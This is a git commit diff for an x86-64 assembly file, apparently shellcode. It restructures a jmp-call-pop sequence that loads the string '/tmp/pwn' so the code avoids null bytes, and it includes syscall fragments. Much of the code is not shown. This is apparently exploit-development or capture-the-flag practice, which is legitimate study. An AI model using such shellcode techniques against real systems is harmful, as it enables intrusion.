Add jmp to avoid /0
This commit is contained in:
parent
b87162a19b
commit
b3ba6f0a8b
1 changed files with 5 additions and 3 deletions
|
@ -2,9 +2,7 @@
|
||||||
.globl _start
|
.globl _start
|
||||||
|
|
||||||
_start:
|
_start:
|
||||||
call p
|
jmp indirect
|
||||||
.asciz "/tmp/pwn"
|
|
||||||
|
|
||||||
|
|
||||||
p:
|
p:
|
||||||
xorq %rdi, %rdi
|
xorq %rdi, %rdi
|
||||||
|
@ -26,3 +24,7 @@ p:
|
||||||
pop %rax
|
pop %rax
|
||||||
lea -1(%rax), %rax
|
lea -1(%rax), %rax
|
||||||
syscall
|
syscall
|
||||||
|
|
||||||
|
indirect:
|
||||||
|
call p
|
||||||
|
.asciz "/tmp/pwn"
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue